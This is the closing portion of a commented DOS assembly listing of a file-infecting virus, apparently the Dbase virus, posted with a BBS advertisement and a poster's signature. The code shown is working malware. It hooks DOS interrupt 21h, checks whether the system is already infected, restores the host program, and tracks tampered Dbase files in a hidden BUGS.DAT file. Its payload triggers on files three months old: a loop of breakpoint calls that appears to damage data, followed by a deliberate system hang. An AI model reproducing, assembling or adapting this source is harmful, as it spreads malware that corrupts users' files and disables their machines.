  856.     INT    21H            ; DOS service
  857.     STI
  858.     POP    ES
  859.     POP    DS
  860.     POP    DI
  861.     POP    DX
  862.     POP    CX
  863.     POP    BX
  864.     POP    AX
  865.     JMP    BP0640
  866.  
  867. DB0630    DB    0E5H, 0E5H
  868.  
  869.     ; Entry point
  870.  
  871. START:    PUSH    AX
  872.     MOV    AX,0FB0AH        ; Infection test function
  873.     INT    21H            ; DOS service
  874.     CMP    AX,0AFBH        ; Is system infected?
  875.     JE    BP0640            ; Branch if yes
  876.     JMP    BP05CA
  877.  
  878. BP0640:    PUSH    SI
  879.     CALL    BP0644            ; \ Get current address
  880. BP0644:    POP    SI            ; /
  881.     SUB    SI,OFFSET BP0644-DB0486    ; Address start of host read buffer
  882.     PUSH    BX
  883.     MOV    BX,0100H        ; Address start of host
  884.     MOV    AX,CS:[SI]        ; \ Restore start of host (1)
  885.     MOV    CS:[BX],AX        ; /
  886.     MOV    AX,CS:[SI+2]        ; \
  887.     ADD    BX,2            ;  ) Restore start of host (2)
  888.     MOV    CS:[BX],AX        ; /
  889.     POP    BX
  890.     POP    SI
  891.     POP    AX
  892.     MOV    AX,0100H        ; \ Branch to start of host
  893.     JMP    AX            ; /
  894.  
  895.     ; Search BUG.DAT file for pathname
  896.  
  897. BP0665:    PUSH    AX
  898.     PUSH    BX
  899.     PUSH    CX
  900.     PUSH    DX
  901.     PUSH    SI
  902.     PUSH    DI
  903.     PUSH    BP
  904.     PUSH    DS
  905.     PUSH    ES
  906.     CALL    BP0671            ; \ Get current address
  907. BP0671:    POP    BP            ; /
  908.     SUB    BP,OFFSET BP0671-DB0053    ; Address 'BUGS.DAT' pathname
  909.     PUSH    DS            ; \ Set ES to DS
  910.     POP    ES            ; /
  911.     MOV    DI,DX            ; Copy pathname pointer
  912.     PUSH    CS            ; \ Set DS to CS
  913.     POP    DS            ; /
  914.     MOV    DX,BP            ; Move pathname address
  915.     MOV    AX,3D00H        ; Open handle (read) function
  916.     PUSH    DI
  917.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  918.     INT    21H            ; DOS service
  919.     JNB    BP0697            ; Branch if no error
  920.     MOV    AH,3CH            ; Create handle function
  921.     MOV    CX,2            ; Hidden file
  922.     INT    21H            ; DOS service
  923.     JNB    BP0697            ; Branch if no error
  924. BP0692:    POP    DI
  925.     CLC
  926.     JMP    BP06D1
  927.  
  928. BP0697:    MOV    BX,AX            ; Move handle
  929.     ADD    DX,0CH            ; Read buffer
  930. BP069C:    MOV    CX,004EH        ; Length to read
  931.     MOV    AH,3FH            ; Read handle function
  932.     INT    21H            ; DOS service
  933.     JB    BP0692            ; Branch if error
  934.     CMP    AX,0            ; Did we read anything?
  935.     JNE    BP06B0            ; Branch if yes
  936.     MOV    AH,3EH            ; Close handle function
  937.     INT    21H            ; DOS service
  938.     JMP    BP0692
  939.  
  940. BP06B0:    POP    DI
  941.     MOV    SI,DX
  942.     PUSH    DI
  943. BP06B4:    MOV    AL,ES:[DI]        ; Get next character
  944.     CMP    AL,0            ; End of pathname?
  945.     JE    BP06C3            ; Branch if yes
  946.     CMP    AL,[SI]            ; Does it match file?
  947.     JNE    BP069C            ; Read next section if not
  948.     INC    SI            ; Next file character
  949.     INC    DI            ; Next pathname character
  950.     JMP    BP06B4            ; Compare next character
  951.  
  952.     ; Pathname found on BUG.DAT file
  953.  
  954. BP06C3:    POP    DI
  955.     MOV    AH,3EH            ; Close handle function
  956.     INT    21H            ; DOS service
  957.     STC
  958.     JMP    BP06D1
  959.  
  960.     ; unreferenced code
  961.  
  962.     MOV    AH,3EH            ; Close handle function
  963.     INT    21H            ; DOS service
  964.     CLC
  965.  
  966. BP06D1:    POP    ES
  967.     POP    DS
  968.     POP    BP
  969.     POP    DI
  970.     POP    SI
  971.     POP    DX
  972.     POP    CX
  973.     POP    BX
  974.     POP    AX
  975.     RET
  976.  
  977.     ; Open file function
  978.  
  979. BP06DB:    POPF
  980.     CALL    BP05C3            ; DOS service
  981.     JB    BP06F4            ; Branch if error
  982.     PUSHF
  983.     PUSH    SI
  984.     MOV    SI,DX
  985.     CALL    BP0468            ; Test for Dbase file
  986.     JNE    BP06F2            ; Branch if not
  987.     CALL    BP0665            ; Search BUG.DAT file for pathname
  988.     JNB    BP06F2            ; Branch if not found
  989.     CALL    BP0423
  990. BP06F2:    POP    SI
  991.     POPF
  992. BP06F4:    RETF    2
  993.  
  994.     ; Is file out of time?
  995.  
  996. BP06F7:    PUSH    AX
  997.     PUSH    CX
  998.     PUSH    DX
  999.     PUSH    SI
  1000.     MOV    AX,5700H        ; Get file date & time function
  1001.     INT    21H            ; DOS service
  1002.     CALL    BP0703            ; \ Get current address
  1003. BP0703:    POP    SI            ; /
  1004.     SUB    SI,OFFSET BP0703-DW0387    ; Address file date
  1005.     MOV    CS:[SI],DX        ; Save file date
  1006.     MOV    CL,5            ; \ Move month to bottom of reg
  1007.     SHR    DX,CL            ; /
  1008.     AND    DX,0FH            ; Isolate month
  1009.     MOV    AH,2AH            ; Get date function
  1010.     PUSH    DX            ; Preserve file month
  1011.     INT    21H            ; DOS service
  1012.     POP    CX            ; Recover file month
  1013.     SUB    CL,DH            ; Subtract month from file month
  1014.     CMP    CL,0            ; Negative result?
  1015.     JGE    BP0721            ; Branch if not
  1016.     NEG    CL            ; Change the sign
  1017. BP0721:    CMP    CL,3            ; Three months difference?
  1018.     JL    BP0729            ; Branch if not
  1019.     JMP    BP072E
  1020.  
  1021. BP0729:    POP    SI
  1022.     POP    DX
  1023.     POP    CX
  1024.     POP    AX
  1025.     RET
  1026.  
  1027.     ; File three months old (or next year)
  1028.  
  1029. BP072E:    CLI
  1030.     MOV    AX,3            ; Start count
  1031. BP0732:    MOV    CX,0100H
  1032.     MOV    DX,0            ; \ Address zero
  1033.     MOV    DS,DX            ; /
  1034.     XOR    BX,BX
  1035.     PUSH    AX
  1036.     INT    3            ; Breakpoint
  1037.     INT    3            ; Breakpoint
  1038.     POP    AX
  1039.     INC    AX            ; Increment count
  1040.     CMP    AL,1AH            ; Has it reached 26?
  1041.     JL    BP0732            ; Branch if not
  1042. BP0745:    CLI                ; \ Loop with interrupts disabled
  1043.     JMP    BP0745            ; /
  1044.  
  1045. ENDADR    EQU    $
  1046.  
  1047. CODE    ENDS
  1048.  
  1049.     END
  1050. 
  1051. ; ─────────────────────────────────────────────────────────────────────────
  1052. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  1053. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1054. ; ─────────────────────────────────────────────────────────────────────────
  1055.  
  1056.  
  1057.  
  1058. --
  1059. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  1060. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  1061. Student at the Northeatstern University College of Computer Science 
  1062. "I Can't Believe It's Not Butter"
  1063.  
  1064.